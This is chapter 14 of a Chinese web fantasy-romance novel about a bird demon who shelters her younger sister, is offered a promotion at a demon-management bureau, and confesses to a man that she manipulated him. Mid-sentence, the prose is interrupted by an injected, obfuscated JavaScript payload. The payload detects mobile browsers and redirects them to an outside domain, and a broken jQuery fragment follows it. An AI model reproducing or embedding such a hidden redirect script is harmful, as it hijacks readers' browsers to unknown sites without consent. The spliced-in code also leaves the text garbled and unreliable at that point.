14.坦白

作品:《暴躁小鸟在线除妖

    阙烬兰的脊椎一寸一寸僵硬,缓缓回头,看着不过胸口高的女孩,纵然有千万句想问出口的话,此时竟只凝练出单薄的感叹。


    “没事就太好了。”


    她还是没忍住绕着女孩转了一圈,仔仔细细地瞧了一个遍,伸出手想摸摸女孩的头,却被女孩躲了一下,手僵硬的停滞在半空,随后收在背后。半晌,只能不咸不淡的问出一个自己关心的问题。


    “沏棠,别的族人还好吗?”


    阙沏棠从小听闻族人对于烬兰姐姐的所谓“命克至亲”传言长大,即便有心接触也很快就被其他族人带走,仿若和这个姐姐说上一句话就要折掉一时寿一般。


    可是她也发现了,一旦族内有什么大事,轻则部族之间的矛盾,重则恶妖入侵领地,都是烬兰姐姐顶在最前面。


    族人不敢和她说话,却又不敢真的让她离开。


    她被当作凤鸣山上最利的一把刃,无论是谁靠近都会见血。


    “族人死伤四分有一,现在在小安山,他们叫我请你回山,说让我代替你在这妖管局当劳工...”只听阙沏棠的声音越来越小,似乎也觉得族人的想法见不得人似的,头越来越低,似乎整个人要埋在地里似的。


    代替当劳工…?


    到底他们还是舍不得一个任劳任怨的、指哪打哪的一把刀。


    这种话他们倒也说得出来。


    阙烬兰忍不住冷笑一声,平时扑闪一双黑白分明的荔枝眼此刻笑不见底,颇有些怒气横天的意味,嘴里倒还好声好气。


    “阿棠,你跟姐姐说,你想这样吗,你有什么想做的吗?”


    想过姐姐会懒得搭理自己或一走了之,再不济将自己连人带包的扔回族人暂住的小安山,最好最好的情况是请自己吃一顿大餐然后让自己从哪来滚哪去。


    阙沏棠独独没想过她会问自己到底想做什么。


    阙沏棠年方十三,在鸟巢里最小,凭着乖巧听话能忍则忍,在族群里好说歹说也算个人见人爱的那么个小玩意儿。


    简单点来说,就是一个没什么自主权的一个腿部挂件,在族群中没机会发表自己的想法,做起事情来也没人问她到底想如何,没人教她该如何。


    这还是她第一次被问自己想要做什么,对象还是族群里的那么个异类。


    “我…我不知道。姐姐,其实我…我…”


    突然这么被问,阙沏棠好像一个发条突然被抽开的一个木偶人,眼神直直发愣看着阙烬兰脖子上的那颗小红痣。


    见着面前明摆着一傻二愣的亲妹,阙烬兰一巴掌轻轻拍到她的肩上,“得了,跟着姐,先不回去了,小安山?鸟不拉屎的地方,他们也就这点志气了。”


    那轻柔的手拍在阙沏棠的肩膀上,带来一阵清新的玫瑰香,阙沏棠睁大了好大一双眼,瑟缩了下脖子才发现自己的肩膀毫发无损。


    眼前的女人才不是什么天煞孤星,她一下子扑到阙烬兰的怀里,耳边传来一个陌生女人的啧啧称奇。


    檬砂看着眼前这幅画面,摇了摇头,抹了把胸口那片之前被阙烬兰贡献出来的潮湿。


    “不愧是姐妹俩。”


    有时人和人的关系好的就是这么稀奇古怪,要坏,也并不是要坏的理所应当。


    将阙沏棠交给檬砂让她先带着妹妹随便逛逛,阙烬兰就马不停蹄地进入妖管局。


    阙烬兰当然不会去那个听都没听过的小安山继续为那群压榨自己的族人保驾护航,虽然在妖管局也破有些劳累,但架不住上司会画大饼。


    “雀雀…辛苦了,遗泣山谷处理的很好,给你升职。”


    诺辛依旧为阙烬兰泡了杯热可可,她不喜欢人形的双腿,所以一般在办公室都是以人的上半身和蛇的下身示人,这会看到阙烬兰,蛇的小尾巴在地上拍了拍,“你呼呼姐说不想干了,外勤组组长的位置下个月由你来当,可以吗?”


    “呼呼姐...?她不是正是努力的年纪吗,怎么不想干了?”


    易呼,本体是只老虎,年方三一,在外勤组已经待了五年,体术格斗样样精通,虽然时常被诟病说“四肢发达头脑简单”,但没有任何人去质疑她的战斗技巧和能力。


    “易呼从小在森林长大,对人情世故本来就不了解,出外勤又免不了和人啊社会的打交道,久而久之,估计她也累了,”诺辛本低着头看着文件,突然抬头看向左边的木窗,“诶,带伞了吗,要下雨了。”


    果然随着她说完,噼里啪啦的雨滴就开始陆陆续续砸在窗户玻璃上,这阵雨来得又猛又快,直直把外面的声音都盖了去,显得屋内更加静谧。


    “局长,苍岩泊什么时候去?”


    闻言,诺辛轻轻叹了声气,看着那王知椿传真过来的文件,眼底闪过一丝烦躁。“我们的合作小队因职员变动被叫停了,遗泣山谷的事情传到人间高层了,连根拔除了一大把官员,本来呢,是好事,将那些贪官污吏都收了嘛。”她讽刺的笑了笑,“哎,可喜的是我们的王主任也因此高升了,人间督察办的羽翼再次壮大。”


    “遗泣山谷涉事官员...不会是王知椿的政敌吧?”


    阙烬兰想起那督察办大厅富贵迷人眼的金色牌匾,“他自己...就没问题?”


    “他啊——”


    诺辛添了杯茶想细细说道,内线电话就打了进来。


    她接起电话听到里面的声音顿了顿,抬起眼示意阙烬兰可以先行离开。


    今天妖管局的大厅安静异常,耳边只有外面的雨声滴滴答答的,湿气自下而上的蔓延,让只穿了薄薄衣衫的阙烬兰猛地哆嗦了一下。


    突然有件暖和的羊绒衫被披在了自己的肩上,将寒意驱逐了些许。


    阙烬兰转头,发现是个陌生的面孔。


    面前的女人三十左右,眉眼向下耷拉着,浑身散发着一阵清苦的茶香味,只见她和阙烬兰对视之后就忍不住低下头来,细声地说道:“恩公...”


    “你是那个鲤妖?你还好吗,你的孩子们呢?”


    鲤妖叫李青,前几日阙烬兰去了遗泣山谷,她就被后勤部的人员带回了妖管局,她的孩子们也在培育箱中存活,如今日日夜夜闹着要化形,其实连打挺都不会。而她自己则加入了妖管局的后勤部,给孩子赚奶粉钱。


    二人加了联系方式,告别李青后阙烬兰走到门口,本来想着打电话叫檬砂把阙沏棠叫到门口先一起回到自己的家,只是还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374925|183302||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没走到妖管局外延,头顶上就多出了一把伞。


    抬眼望去,雨帘下的,是那双看起来至极薄情的瑞风眼。


    “谢邑,你怎么在这?”


    那双眼微微低了低看向她,眼睫根根分明又长又密,头顶的伞往阙烬兰那侧倾斜了些许。


    “因为我在等你。”


    雨水落在伞上,随后滑落。


    空气中弥漫着一股树木清香混着土的潮湿,阙烬兰不忍看他越陷越深,却又不知从何开口,深深吸了口气,却愈发觉得喘不上来,心脏在胸腔狂震。


    早知如此,何必当初。


    瞧瞧,眼下心跳的如此之快,想必都是对眼前人所作所为之后的不安。


    总归不会是心动...吧?


    “不用等我的,谢邑。”


    男人只是将二人的距离再次拉近了些,眼中泛起些许疑惑,似乎不知道为何阙烬兰突然从依赖自己的状态中脱离。


    “我答应过你,就会做到。”


    答应过了什么?


    阙烬兰脑海里无端闪出那个抬头暗无星光的夜晚,或许是周遭过于黯淡无光,才显得回忆里那个看着自己的眼神如此清亮。


    他接住了她的眼泪,然后......


    “只要你需要,只要我在。”


    男人的声音在脑海中就像断了带的录音,一遍又一遍的闪回着播送。


    眼下对他的感情就像是沙漠干渴的旅人看到了杯良药苦口的中药,中药对症,但现在实在没法喝。


    “谢邑,对不起。”


    阙烬兰一贯勇于认错,然后死不悔改,但是看着谢邑如今颇为认真的模样,她喉咙发紧,之后的言辞早就在心里打好了腹稿,却怎么都不愿吐露出来。


    “我之前存了利用你的心思,因为想要有个人可以陪我。”


    她声音发涩,手攥紧成一个拳头,连接的骨肉皮表都因为过于用力而泛起了白。


    “然后我就行事颇有些诡异之感,因为我想要你可以喜欢我,想要你可以离不开我。”


    谢邑见眼前本低垂着头说自己不是的女人抬起了明澈的双眸,眼睛里满是严肃和愧疚,接着她又将那未涂唇脂却自然殷红水嫩的嘴唇一张一合,“如果之前给你带来了困扰,我很抱歉,愿意补偿。”


    “哦,你想要怎么补偿?”


    ...这个人怎么还真要T T


    “哎,我没钱,我的家之前被烧了,钱都汇给他们重新建山了......”


    阙烬兰又低下了头,话里话外透露着对于他索取补偿的委屈。


    谢邑对于自己被所谓“利用”和眼前女人的袒露,心中只弥漫开一种名为心疼的情绪。


    因为他知道一个从小被好好对待的人是不会为了仅仅有个人可以陪着自己而去故意做些好事或者坏事。


    但与此同时,他又觉得眼前低着脑袋的人可爱极了,无论她是真情流露的横眉冷对,还是虚情假意的装乖卖软。


    “那你先欠着吧。”


    谢邑本想装着有些生气,可重话怎么也说不出来,于是同样低下了头,低声喃喃道:“其实——其实我很伤心,对于你的所作所为。”